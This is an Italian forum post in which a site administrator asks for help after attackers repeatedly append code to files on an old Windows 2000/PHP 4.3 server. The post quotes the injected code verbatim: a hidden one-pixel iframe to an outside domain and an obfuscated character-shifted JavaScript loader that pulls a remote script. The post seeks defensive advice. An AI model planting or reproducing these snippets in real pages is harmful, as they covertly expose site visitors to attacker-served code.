GoodWeb
Da alcuni giorni subisco dei tentativi (meglio ci sono riusciti) di accesso e modifica dei file principali di alcuni siti.
In particolare chi attacca scrive / aggiunge alcune righe di codice sotto allegate:
Codice PHP:
<iframe src='http://tixwagoq.cn/in.cgi?14' frameborder='0' height='1' width='1'></iframe>
Ho arginato il problema andando a verifica periodicamente eventuali modifiche e nel caso ripristinare i file modificati. Ma certamente non posso continuare così per tutta la vita ;-)Codice PHP:
<html><script> /*@cc_on @*/ /*@if (@_win32) var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6/23:/255/33:0hfpwj{ju0tubut/kt#?=0tdsjqu?"; var result = ""; for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); document.write(result); /*@end @*/ </script></html>
Il sistema è così configurato:
- Windows 2000 server
- PHP 4.3 (global=ON)
- MySQL
Ora mi rendo conto che PHP sia "vecchio" e in particolar modo l'aver settato global=ON sia presumibilmente una potenziale causa, ma allo stesso tempo oggi non posso cambiare nulla, causa diverse installazioni non aggiornate a PHP5.
In caso contrario subire maggiori danni economici per il fermo macchina.
E' sottinteso che cmq sto lavorando per le modifiche e l'upgrade, ma credo che questo richieda ancora almeno 2/3 mesi.
Vorrei capire alcune cose (in modo semplice se possibile):
- come fanno a trasmettere e fare eventuali "append" ai file htm, php, etc.
- come o dove posso controllare da dove entrano
- come posso risolvere il problema global=on in altra maniera mantenendo il tutto possibilmente compatibile con le mie applicazioni
- è possibile che un simile attacco posso comportare problemi più gravi come es. cancellazione file, modifica db o altro, o l'accesso è limitato alla sola modifica dei file
Da quanto ho capito i "cattivi" non hanno una password amministrativa, ma sfruttano una "falla" in qualche script e in qualche modo dal browser fanno i "comodi loro".
Aggiungo che il server ha circa 8anni di attività nella stessa configurazione indicata, le applicazioni hanno circa 6/7 anni e mai hanno subito problemi.
Grazie a tutti per eventuali risposte, suggerimenti e consigli.